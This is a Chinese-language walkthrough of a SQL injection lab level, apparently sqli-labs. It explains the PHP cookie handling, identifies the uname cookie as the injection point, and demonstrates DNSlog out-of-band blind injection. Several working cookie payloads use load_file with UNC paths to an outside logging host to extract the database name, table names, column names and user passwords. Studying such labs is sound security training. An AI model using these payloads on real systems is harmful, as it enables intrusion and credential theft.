目录
源码分析
看了下源码,跟上一关差别挺大的,先看下不懂的函数
setcookie函数分析
setcookie(),简单来说就是网站给了一个cookie你,下次访问的时候就能直接在http中带上这个cookie,保留上次访问的记录
而源码里第一个出现的setcookie的意思就是
给客户端发送一个名为uname的cookie,uname值设置为$cookee的值,3600秒后cookie无效
第二个出现的setcookie的意思
后面time()-3600,相当于撤销名为uname的cookie
这里$cookee的值就是已登入了的用户名,time()函数就是返回当前Unix的时间
header函数分析
header()函数,说白了就是往http响应头里添加某个http报头
在源码里
意思是在响应头添加
Location: index.php
相当于重定向到index.php
注入点查找
看了一遍所有写在PHP的SQL语句
因为前面定义了个函数,把用户名和密码这些注入点过滤掉了
所以能利用的注入点只有cookie
这里$cookee值就是cookie中uname的值
值得注意的是,要执行该SQL语句,那就不能通过该if语句,也就是说不能用POST传参,或者是将POST传参的submit删掉
而后面又有报错语句输出
所以这里能利用时间盲注、报错盲注、DNSlog盲注(服务器操作系统为windows的前提下才可以用,且得SQL相关配置打开)
前面两个都用腻了,这里试一下DNSlog注入
DNSlog注入
不懂的萌新可参考DNSlog注入详细解析 - FreeBuf网络安全行业门户
爆数据库
抓登入的包,将请求方法改为GET,构造cookie请求头
Cookie: uname=admin' and load_file(concat('\\\\',database(),'.z30z4j.ceye.io\\aaa')) #
然后回到自己的DNS服务器上,查看日志
爆表
构造cookie
Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(table_name separator '_') from information_schema.tables where table_schema = database()),1,63),'.z30z4j.ceye.io\\aaa')) #
查看日志
爆字段
构造cookie
Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(column_name separator '_') from information_schema.columns where table_schema = database() and table_name = 'users'),1,63),'.z30z4j.ceye.io\\aaa')) #
查看一下日志
爆值
构造cookie
Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(password separator '_') from users),1,63),'.z30z4j.ceye.io\\aaa')) #
查看日志
由于URL规则的原因,这里只回显了63位字符串,没回显完全部密码,还得改一下截断函数mid
Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(password separator '_') from users),64,63),'.z30z4j.ceye.io\\aaa')) #
查看日志